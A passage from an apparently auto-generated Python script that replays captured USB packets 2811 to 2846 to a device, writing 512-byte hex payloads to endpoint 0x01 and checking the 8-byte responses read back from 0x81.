b\"\\xCB\\x00\\xFA\\x6F\\x76\\xFC\\x5C\\xDF\\xF5\\x5A\\x49\\xDF\\x39\\x6E\\xBE\\xD3\"\n b\"\\x6B\\xF3\\x85\\xB8\\xBD\\xD3\\x3D\\x18\\x9A\\xAD\\x06\\x4A\\xEE\\x45\\x1C\\x3F\"\n b\"\\x8C\\xDA\\x14\\xF6\\xB2\\xD5\\x3B\\xE6\\x92\\xDD\\xD1\\x3D\\x58\\x09\\xF5\\x76\"\n b\"\\x81\\x12\\x34\\xA7\\x33\\xFF\\x5E\\x0D\\x2D\\x5F\\x94\\x1F\\xF9\\xF3\\x83\\xC3\"\n b\"\\x14\\x86\\xC3\\x97\\x31\\x7C\\xD1\\xC6\\xAE\\x59\\xA5\\x77\\xC5\\xFD\\x2E\\xAE\"\n b\"\\x9B\\xD1\\x56\\x9B\\x2C\\x92\\xEF\\x92\\x84\\xD6\\x03\\x74\\x7C\\xBB\\x84\\xD5\"\n b\"\\xE9\\xAE\\x7D\\xEA\\x08\\x77\\x4D\\x1B\\x66\\xD9\\xCB\\x4C\\x93\\x8D\\x70\\x44\"\n b\"\\x71\\xDA\\xEE\\xDD\\xBE\\x65\\x2F\\x34\\xAC\\xF1\\xA8\\x38\\x70\\x39\\xFF\\x15\"\n b\"\\x46\\x03\\x1C\\x92\\x15\\x85\\xC2\\x27\\x4D\\x8C\\x93\\x41\\x5B\\x95\\xED\\xE6\"\n b\"\\xD2\\xB6\\x49\\x40\\x90\\xED\\x21\\x85\\x79\\x25\\x84\\xBF\\xA7\\xEF\\xDE\\x29\"\n b\"\\xE0\\x06\\xA2\\x58\\x16\\x38\\x6F\\x17\\x87\\x60\\xF3\\x04\\xF6\\xD8\\xDF\\x0E\"\n b\"\\xCF\\x0F\\x98\\x7C\\xB7\\xF3\\x13\\x42\\x96\\x4F\\xFD\\xC8\\x14\\xB9\\x72\\xA1\"\n b\"\\xA1\\x79\\x9C\\x8D\\xD0\\x35\\x58\\x3E\\xC8\\x08\\x0C\\x2A\\x40\\xA9\\xE6\\x59\"\n b\"\\x10\\x9D\\xD7\\xF3\\xE9\\xEE\\xF9\\x0E\\x10\\xC4\\xC3\\x19\")\n # Generated from packet 2811/2812\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2811/2812\")\n # Generated from packet 2813/2814\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x63\\x17\\x1A\\x48\\x80\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\x24\\x04\\x8B\\x41\\xE4\\xDD\\x45\"\n b\"\\xFE\\x25\\x34\\x57\\x6A\\xA2\\x38\\x8B\\xA2\\xF5\\x15\\xBD\\x98\\x16\\x92\\xEE\"\n b\"\\x1E\\xC8\\x27\\xB6\\x17\\x99\\x41\\xA0\\x0E\\xE7\\xE6\\x29\\x2D\\x43\\x40\\x6B\"\n b\"\\x76\\x2B\\x85\\x82\\xBE\\x8E\\xBF\\x5C\\x74\\xD4\\x29\\x1B\\x9D\\xA8\\x58\\xED\"\n b\"\\xA3\\x65\\x17\\x7C\\xFB\\xF9\\x04\\x0D\\x43\\xD5\\x0E\\x34\\x94\\x92\\x7C\\x4C\"\n b\"\\x68\\x19\\x42\\x6D\\xD4\\xF7\\xC8\\xEF\\x22\\x78\\xA1\\x5A\\xE2\\x96\\x8D\\x2B\"\n b\"\\xAE\\x52\\x3E\\x33\\x93\\x06\\x2A\\xBB\\x32\\xEC\\x59\\xEB\\x06\\xDD\\xF3\\x12\"\n b\"\\x75\\xF3\\x0E\\xEB\\x5F\\xC9\\x19\\x64\\x60\\xD9\\x56\\x93\\x4F\\xD6\\xEB\\x88\"\n b\"\\x97\\x60\\x38\\xE6\\x68\\x29\\x71\\x62\\x7F\\xA6\\x70\\x58\\x38\\x00\\x70\\xCE\"\n b\"\\xE5\\xF8\\x94\\x3A\\xD8\\x27\\x3E\\xFF\\x0C\\x2E\\x86\\xE6\\x51\\x74\\x55\\x70\"\n b\"\\xFE\\x31\\xA8\\xCB\\x2D\\x22\\x3F\\xDF\\x97\\x28\\x03\\x89\\xC9\\x90\\x63\\xBC\"\n b\"\\xEA\\x09\\x29\\x7C\\x04\\x93\\xAD\\xB0\\x69\\x86\\x3A\\x9C\\x9F\\xAE\\x13\\xB4\"\n b\"\\x6D\\x8D\\x3B\\x1E\\x9C\\x78\\x61\\xB9\\x4F\\x6A\\xA8\\xB7\\x41\\x56\\xA6\\xFD\"\n b\"\\xBC\\xBD\\xA7\\xBE\\xAB\\xA5\\x25\\xCC\\x25\\x14\\xA0\\x64\\xB8\\xB0\\x17\\xAF\"\n b\"\\xB3\\xBE\\x83\\xA1\\x19\\xEA\\x6D\\x5E\\x43\\xA2\\xE0\\x03\\x8D\\xA0\\xDB\\x7C\"\n b\"\\xFB\\xCF\\xB3\\x15\\x02\\xD4\\x4A\\x52\\x14\\xFB\\xD1\\xD6\\x23\\x99\\x9A\\x63\"\n b\"\\x4A\\x85\\x5D\\xE2\\x4D\\xF0\\x01\\xA3\\x18\\xE9\\x93\\x93\")\n # Generated from packet 2815/2816\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2815/2816\")\n # Generated from packet 2817/2818\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAD\\x47\\x14\\x5C\\x6C\\x72\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB5\\xBB\\xF2\\xFE\\x98\\xF3\\x88\\x1C\"\n b\"\\x1F\\xA0\\x0E\\xC2\\xAA\\xF8\\x07\\x93\\xCC\\xEE\\x1E\\xED\\x6B\\x67\\x3D\\x49\"\n b\"\\xCD\\x25\\x66\\x21\\x08\\xCC\\xAE\\x84\\x32\\x12\\x64\\xDE\\xA4\\x55\\x8D\\xA2\"\n b\"\\xD5\\xA3\\xB3\\x6F\\x9A\\x32\\xEB\\xF3\\x89\\x43\\x53\\xDF\\x83\\x7A\\x84\\x98\"\n b\"\\xF1\\x02\\x78\\x13\\xCF\\x23\\xC4\\xFD\\x45\\xA1\\x32\\x72\\x2C\\x14\\xF2\\x9C\"\n b\"\\x00\\x65\\xBE\\x58\\xB3\\x7D\\x83\\x0C\\xA7\\xF5\\x22\\xE6\\xD4\\xA5\\x16\\xD7\"\n b\"\\x7E\\x5C\\x65\\xF9\\x83\\xA5\\x4F\\xC3\\x94\\x2A\\x70\\xD3\\xDB\\xDD\\x5F\\xDC\"\n b\"\\x66\\xC6\\x87\\x6A\\xB5\\xA8\\x78\\x23\\xFC\\x2C\\x6F\\xAC\\xFD\\x16\\x28\\x0A\"\n b\"\\xFD\\x80\\xF5\\xF2\\x19\\x74\\xC8\\x2D\\xB3\\xB1\\x1C\\x24\\x0B\\xA8\\x41\\x7E\"\n b\"\\xD8\\x3E\\xEE\\x3B\\x25\\x85\\x3D\\x28\\xB2\\x91\\x87\\x22\\x8E\\xC7\\xD9\\x9A\"\n b\"\\xEE\\xF2\\xFA\\x03\\xA4\\x32\\x14\\x99\\x20\\xFE\\x79\\x8C\\xB7\\xD2\\x8F\\xA4\"\n b\"\\x9E\\xFA\\x7D\\x87\\xB6\\x50\\x8C\\x72\\xEC\\xF7\\x5F\\x60\\x25\\xF9\\x51\\x5C\"\n b\"\\x2B\\xB3\\xAC\\xB7\\x2A\\xF0\\xBB\\xAF\\xA8\\x82\\x35\\x1E\\x2D\\x2A\\xA8\\xBA\"\n b\"\\x9A\\xE1\\xA3\\xB4\\x0E\\xEF\\x09\\xE0\\xE0\\x10\\x53\\xA8\\x6D\\x4D\\x9D\\xAA\"\n b\"\\x56\\x32\\xEB\\xC5\\x3E\\x5B\\x12\\xDE\\xC7\\x1C\\x04\\xF1\\x5C\\x98\\x33\\x93\"\n b\"\\x17\\x2D\\x5A\\x8F\\xD0\\xAC\\x5D\\xFA\\x8C\\xED\\x08\\xE3\\x1E\\xDD\\xF4\\x88\"\n b\"\\xE1\\xC4\\x41\\x6A\\x55\\x95\\x12\\x3E\\x27\\x29\\xA2\\x49\")\n # Generated from packet 2819/2820\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2819/2820\")\n # Generated from packet 2821/2822\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC7\\xF5\\x3F\\x30\\x6D\\x17\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFC\\x68\\xB6\\x48\\xF3\\xD9\\xE6\\x69\"\n b\"\\xFB\\x33\\x3D\\xA3\\x2F\\x17\\x76\\x7A\\x34\\xD6\\xA7\\xC8\\xD9\\xBC\\x0D\\xD6\"\n b\"\\x79\\x76\\x1F\\x02\\xD5\\x61\\xC3\\xEF\\xA0\\x21\\x97\\xCA\\x5A\\x33\\xC6\\x55\"\n b\"\\x7F\\x47\\x77\\x3E\\xDB\\xCC\\xAE\\x60\\xF7\\xB4\\x9B\\xD7\\xB4\\x0D\\x92\\x7F\"\n b\"\\xF0\\xE1\\x74\\x87\\x9D\\x66\\xD5\\x12\\x88\\x9F\\xEA\\xF3\\x51\\xAF\\x1B\\x9D\"\n b\"\\xFF\\x29\\x4C\\x68\\xAB\\x92\\x44\\x8A\\xFC\\x0C\\xDD\\x45\\x43\\xCD\\x34\\x57\"\n b\"\\xD7\\x4A\\x38\\x8B\\x1F\\x1D\\x15\\xBD\\x25\\xFE\\x92\\xEE\\xA3\\x20\\x27\\xB6\"\n b\"\\xAA\\x71\\x41\\xA0\\xB3\\x0F\\xE6\\x29\\x90\\xAB\\x40\\x6B\\xCB\\xC3\\x85\\x82\"\n b\"\\x03\\x66\\xBF\\x5C\\xC9\\x3C\\x29\\x1B\\x20\\x40\\x58\\xED\\x1E\\x8D\\x17\\x7C\"\n b\"\\x46\\x11\\x04\\x0D\\xFE\\x3D\\x0E\\x34\\x29\\x7A\\x7C\\x4C\\xD5\\xF1\\x42\\x6D\"\n b\"\\x69\\x1F\\xC8\\xEF\\x9F\\x90\\xA1\\x5A\\x5F\\x7E\\x8D\\x2B\\x13\\xBA\\x3E\\x33\"\n b\"\\x2E\\xEE\\x2A\\xBB\\x8F\\x04\\x59\\xEB\\xBB\\x35\\xF3\\x12\\xC8\\x1B\\x0E\\xEB\"\n b\"\\xE2\\x21\\x19\\x64\\xDD\\x31\\x56\\x93\\xF2\\x3E\\xEB\\x88\\x2A\\x88\\x38\\xE6\"\n b\"\\xD5\\xC1\\x71\\x62\\xC2\\x4E\\x70\\x58\\x85\\xE8\\x70\\xCE\\x58\\x10\\x94\\x3A\"\n b\"\\x65\\xCF\\x3E\\xFF\\xB1\\xC6\\x86\\xE6\\xEC\\x9C\\x55\\x70\\x43\\xD9\\xA8\\xCB\"\n b\"\\x90\\xCA\\x3F\\xDF\\x2A\\xC0\\x03\\x89\\x74\\x78\\x63\\xBC\\x57\\xE1\\x29\\x7C\"\n b\"\\xB9\\x7B\\xAD\\xB0\\xD4\\x6E\\x3A\\x9C\\x22\\x46\\x13\\xB4\")\n # Generated from packet 2823/2824\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2823/2824\")\n # Generated from packet 2825/2826\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\xA5\\x31\\x24\\x8D\\x44\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC1\\x72\\xCA\\x50\\x5F\\x55\\x45\\xEE\"\n b\"\\x9E\\xBC\\x57\\x7A\\x19\\xB0\\x8B\\xB2\\x4E\\x9D\\xBD\\x88\\xAD\\x1A\\xEE\\x0E\"\n b\"\\x73\\xAF\\xB6\\x07\\x22\\xC9\\xA0\\x1E\\x5C\\x6E\\x29\\x3D\\xF8\\xC8\\x6B\\x66\"\n b\"\\x90\\x0D\\x82\\xAE\\x35\\x37\\x5C\\x64\\x6F\\xA1\\x1B\\x8D\\x13\\xD0\\xED\\xB3\"\n b\"\\xDE\\x9F\\x7C\\xEB\\x42\\x8C\\x0D\\x53\\x6E\\x86\\x34\\x84\\x29\\xF4\\x4C\\x78\"\n b\"\\xA2\\xCA\\x6D\\xC4\\x4C\\x40\\xEF\\x32\\xC3\\x29\\x5A\\xF2\\x2D\\x05\\x2B\\xBE\"\n b\"\\xE9\\xB6\\x33\\x83\\xBD\\xA2\\xBB\\x22\\x57\\xD1\\xEB\\x16\\x66\\x7B\\x12\\x65\"\n b\"\\x48\\x86\\xEB\\x4F\\x72\\x91\\x64\\x70\\x62\\xDE\\x93\\x5F\\x6D\\x63\\x88\\x87\"\n b\"\\xDB\\xB0\\xE6\\x78\\x92\\xF9\\x62\\x6F\\x1D\\xF8\\x58\\x28\\xBB\\xF8\\xCE\\xF5\"\n b\"\\x43\\x1C\\x3A\\xC8\\x9C\\xB6\\xFF\\x1C\\x95\\x0E\\xE6\\x41\\xCF\\xDD\\x70\\xEE\"\n b\"\\x8A\\x20\\xCB\\x3D\\x99\\xB7\\xDF\\x87\\x93\\x8B\\x89\\xD9\\x2B\\xEB\\xBC\\xFA\"\n b\"\\xB2\\xA1\\x7C\\x14\\x28\\x25\\xB0\\x79\\x3D\\xB2\\x9C\\x8F\\x15\\x9B\\xB4\\x7D\"\n b\"\\x36\\xB3\\x1E\\x8C\\xC3\\xE9\\xB9\\x5F\\xD1\\x20\\xB7\\x51\\xED\\x2E\\xFD\\xAC\"\n b\"\\x06\\x2F\\xBE\\xBB\\x1E\\xAD\\xCC\\x35\\xAF\\x28\\x64\\xA8\\x0B\\x9F\\xAF\\xA3\"\n b\"\\x05\\x0B\\xA1\\x09\\x51\\xE5\\x5E\\x53\\x19\\x68\\x03\\x9D\\x1B\\x53\\x7C\\xEB\"\n b\"\\x74\\x3B\\x15\\x12\\x6F\\xC2\\x52\\x04\\x40\\x59\\xD6\\x33\\x22\\x12\\x63\\x5A\"\n b\"\\x3E\\xD5\\xE2\\x5D\\x4B\\x89\\xA3\\x08\\x52\\x1B\\x93\\xF4\")\n # Generated from packet 2827/2828\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2827/2828\")\n # Generated from packet 2829/2830\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5B\\x54\\x23\\x18\\x74\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\xBE\\x82\\x26\\x38\\x69\\x93\\x41\"\n b\"\\x2E\\x70\\xED\\xE6\\xA7\\x53\\x49\\x40\\xE5\\x08\\x21\\x85\\x0C\\xC0\\x84\\xBF\"\n b\"\\xD2\\x0A\\xDE\\x29\\x95\\xE3\\xA2\\x58\\x63\\xDD\\x6F\\x17\\xF2\\x85\\xF3\\x04\"\n b\"\\x83\\x3D\\xDF\\x0E\\xBA\\xEA\\x98\\x7C\\xC2\\x16\\x13\\x42\\xE3\\xAA\\xFD\\xC8\"\n b\"\\x61\\x5C\\x72\\xA1\\xD4\\x9C\\x9C\\x8D\\xA5\\xD0\\x58\\x3E\\xBD\\xED\\x0C\\x2A\"\n b\"\\x35\\x4C\\xE6\\x59\\x65\\x78\\xD7\\xF3\\x9C\\x0B\\xF9\\x0E\\x65\\x21\\xC3\\x19\"\n b\"\\xEA\\x1E\\xD3\\x56\\x1D\\x31\\xDC\\xEB\\x06\\xE9\\x6A\\x38\\x68\\x16\\x23\\x71\"\n b\"\\xEC\\x01\\xAC\\x70\\xD6\\x46\\x0A\\x70\\x40\\x9B\\xF2\\x94\\xB4\\xA6\\x2D\\x3E\"\n b\"\\x71\\x72\\x24\\x86\\x68\\x2F\\x7E\\x55\\xFE\\x80\\x3B\\xA8\\x45\\x53\\x28\\x3F\"\n b\"\\x51\\xE9\\x22\\x03\\x07\\xB7\\x9A\\x63\\x32\\x94\\x03\\x29\\xF2\\x7A\\x99\\xAD\"\n b\"\\x3E\\x17\\x8C\\x3A\\x12\\xE1\\xA4\\x13\\x3A\\x13\\x87\\x3B\\x90\\xE2\\x72\\x61\"\n b\"\\x37\\x31\\x60\\xA8\\x39\\x3F\\x5C\\xA6\\x73\\xC2\\xB7\\xA7\\x30\\xD5\\xAF\\x25\"\n b\"\\x42\\x5B\\x1E\\xA0\\xEA\\xC6\\xBA\\x17\\x21\\xCD\\xB4\\x83\\x2F\\x67\\xE0\\x6D\"\n b\"\\xD0\\x3D\\xA8\\xE0\\x8D\\xF3\\xAA\\xDB\\xF2\\x85\\xC5\\xB3\\x9B\\x7C\\xDE\\x4A\"\n b\"\\xDC\\x6A\\xF1\\xD1\\x58\\x5D\\x93\\x9A\\xED\\x34\\x8F\\x5D\\x6C\\x33\\xFA\\x01\"\n b\"\\x2D\\x66\\xE3\\x93\\x1D\\x9A\\x88\\x6C\\x04\\x2F\\x6A\\xD8\\x55\\x7C\\x3E\\xAA\"\n b\"\\xE9\\xCC\\x49\\x0D\\x5D\\x93\\x4A\\x9F\\x94\\x6C\\x8D\\x0C\")\n # Generated from packet 2831/2832\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2831/2832\")\n # Generated from packet 2833/2834\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x95\\x04\\x2D\\x0C\\xD9\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2F\\x26\\x34\\xF2\\x00\\x50\\x68\\x2A\"\n b\"\\xC7\\x01\\x4F\\x7D\\x89\\x7C\\xFD\\xFE\\xD9\\x80\\xA9\\xAD\\xD8\\x4B\\x27\\x82\"\n b\"\\x13\\x23\\xEC\\xE5\\x3F\\x1B\\xEF\\x0B\\xE5\\xE4\\xB0\\x62\\xA5\\xF8\\xB0\\x30\"\n b\"\\xB0\\x96\\x6F\\x8D\\x4C\\x30\\xDF\\x0E\\xEA\\x25\\xDF\\xC2\\xDE\\xD2\\xD3\\x90\"\n b\"\\x43\\xE9\\xB8\\x46\\x63\\x51\\x18\\x61\\x1D\\x6A\\x4A\\x15\\xF5\\x70\\x3F\\x77\"\n b\"\\x6A\\x78\\xF6\\x49\\x65\\x57\\xE6\\x69\\x6D\\xBD\\x3D\\xA3\\xB9\\x99\\x76\\x7A\"\n b\"\\xA2\\x58\\xA7\\xC8\\x4F\\x32\\x0D\\xD6\\xEF\\xF8\\x1F\\x02\\x43\\xEF\\xC3\\xEF\"\n b\"\\x36\\xAF\\x97\\xCA\\xCC\\xBD\\xC6\\x55\\xE9\\xC9\\x77\\x3E\\x4D\\x42\\xAE\\x60\"\n b\"\\x61\\x3A\\x9B\\xD7\\x22\\x83\\x92\\x7F\\x66\\x6F\\x74\\x87\\x0B\\xE8\\xD5\\x12\"\n b\"\\x1E\\x11\\xEA\\xF3\\xC7\\x21\\x1B\\x9D\\x69\\xA7\\x4C\\x68\\x3D\\x1C\\x44\\x8A\"\n b\"\\x6A\\x82\\xDD\\x45\\xD5\\x43\\x34\\x57\\x41\\xC4\\x38\\x8B\\x89\\x93\\x15\\xBD\"\n b\"\\xB3\\x70\\x92\\xEE\\x35\\xAE\\x27\\xB6\\x3C\\xFF\\x41\\xA0\\x25\\x81\\xE6\\x29\"\n b\"\\x06\\x25\\x40\\x6B\\x5D\\x4D\\x85\\x82\\x95\\xE8\\xBF\\x5C\\x5F\\xB2\\x29\\x1B\"\n b\"\\xB6\\xCE\\x58\\xED\\x88\\x03\\x17\\x7C\\xD0\\x9F\\x04\\x0D\\x68\\xB3\\x0E\\x34\"\n b\"\\xBF\\xF4\\x7C\\x4C\\x43\\x7F\\x42\\x6D\\xFF\\x91\\xC8\\xEF\\x09\\x1E\\xA1\\x5A\"\n b\"\\xC9\\xF0\\x8D\\x2B\\x85\\x34\\x3E\\x33\\xB8\\x60\\x2A\\xBB\\x19\\x8A\\x59\\xEB\"\n b\"\\x2D\\xBB\\xF3\\x12\\x5E\\x95\\x0E\\xEB\\x74\\xAF\\x19\\x64\")\n # Generated from packet 2835/2836\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2835/2836\")\n # Generated from packet 2837/2838\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8F\\x30\\x74\\xC0\\x8B\\x7B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x56\\x8E\\x75\\xC3\\xB3\\x72\\x43\\x04\"\n b\"\\x95\\x1A\\x25\\x1B\\xA8\\x4D\\x48\\x27\\x11\\xE4\\xD8\\x91\\xAE\\xBD\\x83\\x8B\"\n b\"\\xAE\\x14\\xFF\\xA9\\xAF\\x52\\xEE\\x68\\x5C\\xE9\\x87\\x39\\x04\\x90\\xEE\\x85\"\n b\"\\x3C\\xB2\\xC7\\x56\\x68\\xF7\\x62\\x3E\\xDB\\xCA\\x3F\\xFF\\x68\\xE8\\x14\\xB4\"\n b\"\\x05\\x9C\\x3B\\x3C\\x19\\x45\\xFC\\x6D\\x3E\\x12\\xB2\\x10\\x8C\\x91\\xE2\\xEC\"\n b\"\\xD8\\xC2\\xE3\\x27\\x56\\xED\\x28\\x4F\\x9D\\x8A\\x04\\x77\\x9E\\x64\\xDE\\x88\"\n b\"\\xC1\\x0D\\x9E\\x94\\xC1\\x5F\\x8B\\xFA\\x1E\\xE2\\x77\\x5C\\xAE\\x61\\xD1\\x49\"\n b\"\\xAE\\xAD\\xE5\\xBE\\xA2\\xFF\\x78\\x85\\xC9\\x29\\x58\\x3D\\x69\\x0E\\x26\\x06\"\n b\"\\x3B\\x7A\\xCE\\x1C\\x4E\\x18\\x51\\x14\\x87\\x26\\x5E\\x3B\\x97\\x06\\x56\\xD1\"\n b\"\\x4C\\xCC\\x82\\xF5\\x07\\x15\\x99\\x34\\xD6\\xA7\\x74\\x5E\\x7C\\xB9\\xD4\\x94\"\n b\"\\x6E\\x6D\\x78\\x83\\xB2\\x80\\x0D\\xC3\\xE6\\xA5\\xF7\\xD1\\xB7\\x3A\\xD2\\xA5\"\n b\"\\x06\\x51\\x76\\x2E\\xDF\\x0F\\x5A\\x56\\xEA\\xB8\\x19\\xEF\\xE3\\x10\\x5D\\x03\"\n b\"\\x05\\xE8\\x30\\x84\\xA4\\x7D\\x25\\x7D\\x9B\\x9C\\xFC\\x4D\\x6A\\xF2\\x52\\xCB\"\n b\"\\x3D\\x07\\x06\\x70\\x35\\xE5\\x51\\xEE\\xAC\\x2A\\xEE\\x2F\\x45\\x38\\x7A\\xA8\"\n b\"\\x49\\xE4\\xB2\\xFF\\x64\\xD2\\x88\\x1C\\xE3\\x81\\x0E\\xC2\\x56\\xD9\\x07\\x93\"\n b\"\\x30\\xCF\\x1E\\xED\\x97\\x46\\x3D\\x49\\x31\\x04\\x66\\x21\\xF4\\xED\\xAE\\x84\"\n b\"\\xCE\\x33\\x64\\xDE\\x58\\x74\\x8D\\xA2\\x29\\x82\\xB3\\x6F\")\n # Generated from packet 2839/2840\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2839/2840\")\n # Generated from packet 2841/2842\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x41\\x60\\x7A\\xD4\\x43\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB6\\x94\\xF0\\x63\\xF6\\xB7\\xB0\\x30\"\n b\"\\xE3\\xD9\\x6F\\x8D\\x1F\\x7F\\xDF\\x0E\\xB9\\x6A\\xDF\\xC2\\x8D\\x9D\\xD3\\x90\"\n b\"\\x10\\xA6\\xB8\\x46\\x30\\x1E\\x18\\x61\\x4E\\x25\\x4A\\x15\\xA6\\x3F\\x3F\\x77\"\n b\"\\x39\\x37\\xF6\\x49\\x36\\x18\\xE6\\x69\\x3E\\xF2\\x3D\\xA3\\xEA\\xD6\\x76\\x7A\"\n b\"\\xF1\\x17\\xA7\\xC8\\x1C\\x7D\\x0D\\xD6\\xBC\\xB7\\x1F\\x02\\x10\\xA0\\xC3\\xEF\"\n b\"\\x65\\xE0\\x97\\xCA\\x9F\\xF2\\xC6\\x55\\xBA\\x86\\x77\\x3E\\x1E\\x0D\\xAE\\x60\"\n b\"\\x32\\x75\\x9B\\xD7\\x71\\xCC\\x92\\x7F\\x35\\x20\\x74\\x87\\x58\\xA7\\xD5\\x12\"\n b\"\\x4D\\x5E\\xEA\\xF3\\x94\\x6E\\x1B\\x9D\\x3A\\xE8\\x4C\\x68\\x6E\\x53\\x44\\x8A\"\n b\"\\x39\\xCD\\xDD\\x45\\x86\\x0C\\x34\\x57\\x12\\x8B\\x38\\x8B\\xDA\\xDC\\x15\\xBD\"\n b\"\\xE0\\x3F\\x92\\xEE\\x66\\xE1\\x27\\xB6\\x6F\\xB0\\x41\\xA0\\x76\\xCE\\xE6\\x29\"\n b\"\\x55\\x6A\\x40\\x6B\\x0E\\x02\\x85\\x82\\xC6\\xA7\\xBF\\x5C\\x0C\\xFD\\x29\\x1B\"\n b\"\\xE5\\x81\\x58\\xED\\xDB\\x4C\\x17\\x7C\\x83\\xD0\\x04\\x0D\\x3B\\xFC\\x0E\\x34\"\n b\"\\xEC\\xBB\\x7C\\x4C\\x10\\x30\\x42\\x6D\\xAC\\xDE\\xC8\\xEF\\x5A\\x51\\xA1\\x5A\"\n b\"\\x9A\\xBF\\x8D\\x2B\\xD6\\x7B\\x3E\\x33\\xEB\\x2F\\x2A\\xBB\\x4A\\xC5\\x59\\xEB\"\n b\"\\x7E\\xF4\\xF3\\x12\\x0D\\xDA\\x0E\\xEB\\x27\\xE0\\x19\\x64\\x18\\xF0\\x56\\x93\"\n b\"\\x37\\xFF\\xEB\\x88\\xEF\\x49\\x38\\xE6\\x10\\x00\\x71\\x62\\x07\\x8F\\x70\\x58\"\n b\"\\x40\\x29\\x70\\xCE\\x9D\\xD1\\x94\\x3A\\xA0\\x0E\\x3E\\xFF\")\n # Generated from packet 2843/2844\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2843/2844\")\n # Generated from packet 2845/2846\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x13\\x91\\x68\\xE8\\x65\\x73\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x42\\x1E\\x74\\x56\\xD6\\xC6\\x38\\x8B\"\n b\"\\x1E\\x91\\x15\\xBD\\x24\\x72\\x92\\xEE\\xA2\\xAC\\x27\\xB6\\xAB\\xFD\\x41\\xA0\"\n b\"\\xB2\\x83\\xE6\\x29\\x91\\x27\\x40\\x6B\\xCA\\x4F\\x85\\x82\\x02\\xEA\\xBF\\x5C\"\n b\"\\xC8\\xB0\\x29\\x1B\\x21\\xCC\\x58\\xED\\x1F\\x01\\x17\\x7C\\x47\\x9D\\x04\\x0D\"\n b\"\\xFF\\xB1\\x0E\\x34\\x28\\xF6\\x7C\\x4C\\xD4\\x7D\\x42\\x6D\\x68\\x93\\xC8\\xEF\"\n b\"\\x9E\\x1C\\xA1\\x5A\\x5E\\xF2\\x8D\\x2B\\x12\\x36\\x3E\\x33\\x2F\\x62\\x2A\\xBB\"\n b\"\\x8E\\x88\\x59\\xEB\\xBA\\xB9\\xF3\\x12\\xC9\\x97\\x0E\\xEB\\xE3\\xAD\\x19\\x64\"\n b\"\\xDC\\xBD\\x56\\x93\\xF3\\xB2\\xEB\\x88\\x2B\\x04\\x38\\xE6\\xD4\\x4D\\x71\\x62\"\n b\"\\xC3\\xC2\\x70\\x58\\x84\\x64\\x70\\xCE\\x59\\x9C\\x94\\x3A\\x64\\x43\\x3E\\xFF\"\n b\"\\xB0\\x4A\\x86\\xE6\\xED\\x10\\x55\\x70\\x42\\x55\\xA8\\xCB\\x91\\x46\\x3F\\xDF\"\n b\"\\x2B\\x4C\\x03\\x89\\x75\\xF4\\x63\\xBC\\x56\\x6D\\x29\\x7C\\xB8\\xF7\\xAD\\xB0\"\n b\"\\xD5\\xE2\\x3A\\x9C\\x23\\xCA\\x13\\xB4\\xD1\\xE9\\x3B\\x1E\\x20\\x1C\\x61\\xB9\"\n b\"\\xF3\\x0E\\xA8\\xB7\\xFD\\x32\\xA6\\xFD\\x00\\xD9\\xA7\\xBE\\x17\\xC1\\x25\\xCC\"\n b\"\\x99\\x70\\xA0\\x64\\x04\\xD4\\x17\\xAF\\x0F\\xDA\\x83\\xA1\\xA5\\x8E\\x6D\\x5E\"\n b\"\\xFF\\xC6\\xE0\\x03\\x31\\xC4\\xDB\\x7C\\x47\\xAB\\xB3\\x15\\xBE\\xB0\\x4A\\x52\"\n b\"\\xA8\\x9F\\xD1\\xD6\\x9F\\xFD\\x9A\\x63\\xF6\\xE1\\x5D\\xE2\\xF1\\x94\\x01\\xA3\"\n 